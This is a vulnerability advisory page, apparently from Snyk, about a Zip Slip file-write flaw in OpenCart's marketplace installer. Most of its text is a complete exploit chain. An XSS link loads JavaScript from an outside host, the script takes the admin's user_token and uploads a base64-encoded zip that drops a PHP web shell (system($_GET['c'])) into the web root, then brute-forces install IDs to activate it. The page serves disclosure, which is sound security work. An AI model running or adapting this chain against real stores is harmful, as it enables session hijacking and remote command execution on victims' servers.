Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsThere is no fixed version for opencart/opencart
.
opencart/opencart is a shopping cart system
Affected versions of this package are vulnerable to Arbitrary File Write via Archive Extraction (Zip Slip). A Zip Slip issue was identified via the marketplace installer due to improper sanitization of the target path, allowing files within a malicious archive to traverse the filesystem and be extracted to arbitrary locations. An attacker can create arbitrary files in the web root of the application and overwrite other existing files by exploiting this vulnerability.
Combining this with one of the previously identified XSS issues within the admin functionality, the full exploit chain would be as follows:
Attacker sends URL including XSS payload to admin: https://mywebstore.com/admin/index.php?route=common/filemanager.list&directory=demo%2522%253E%253Cscript%2Bsrc%253D%2522http%253A%252F%252Flocalhost%253A8000%252Foc.js%2522%253E%253C%252Fscript%253E%253Cinput%2Btype%253D%2522hidden
Admin is prompted to login. Upon login, they are redirected to the above URL, including a user_token
generated at login
The XSS payload includes a Javascript file hosted on another domain, as below - in the example payload it is http://localhost:8000/oc.js
:
// Store host let host = 'https://mywebstore.com' // Base64 encoded content of the malicious extension zip let extB64 = 'UEsDBBQAAAAAAKcGglcavkeoQwAAAEMAAAAMAAAALi4vLi4vb2MucGhwPD9waHAgCgppZiAoaXNzZXQoJF9HRVRbJ2MnXSkpIHsKICAgIGVjaG8gc3lzdGVtKCRfR0VUWydjJ10pOwp9Cgo/PlBLAwQUAwAACABojIFXziDSgW4AAACKAAAADAAAAGluc3RhbGwuanNvbi2MMQ7CMAxF957CeEYprN0QCwuHiCKjRhCnSpyGqurdWysd/3tPf+0AkG0gHADfC9BfiLOPjFc1MyUdKu/m1pgtMsak6OECwTOmyTTz8/xVPopMeej7WquxR2NcDK3wnCUVJ+fny84En8IX7LYdUEsBAhQDFAAAAAAApwaCVxq+R6hDAAAAQwAAAAwAAAAAAAAAAAAAALSBAAAAAC4uLy4uL29jLnBocFBLAQI/AxQDAAAIAGiMgVfOINKBbgAAAIoAAAAMACQAAAAAAAAAIICkgW0AAABpbnN0YWxsLmpzb24KACAAAAAAAAEAGACAy2m+fCTaAQDBQ2aeJNoBAAXQMZ4k2gFQSwUGAAAAAAIAAgCYAAAABQEAAAAA'
async function poc(token) { console.log(
Got user token :) [${token}]
)let uploadEndpoint = `${host}/admin/index.php?route=marketplace/installer.upload&user_token=${token}`; let blob = new Blob([Uint8Array.from(atob(extB64), c => c.charCodeAt(0))], {type: 'application/octet-stream'}); let form = new FormData(); form.append("file", blob, "acmeext.ocmod.zip"); let response = await fetch(uploadEndpoint, { method: "POST", mode: "no-cors", body: form, }); let json = await response.json() console.log(`Got upload response: ${JSON.stringify(json)}`) if (json.hasOwnProperty("success")) { console.log('Uploaded extension, attempting to install..'); let installId = 5; let installCheckEndpoint = `${host}/oc.php`; let status = -1; while ((status = (await fetch(installCheckEndpoint)).status) != 200 && installId < 50) { console.log(`Attempting install with id: ${installId}`) let installEndpoint = `${host}/admin/index.php?route=marketplace/installer.install&extension_install_id=${installId}&user_token=${token}`; let response = await fetch(installEndpoint); let json = await response.json() console.log(`Got install response with id [${installId}]: ${JSON.stringify(json)}`) installId++; } console.log(status == 200 ? ":)" : ":(") } else { console.log('Failed to upload extension :('); }
}
// Get the user token let userToken = new URLSearchParams(window.location.search).get("user_token") ?? null; if (userToken) { // Only continue with a user token poc(userToken) } else { console.log('Couldnt get user token :('); }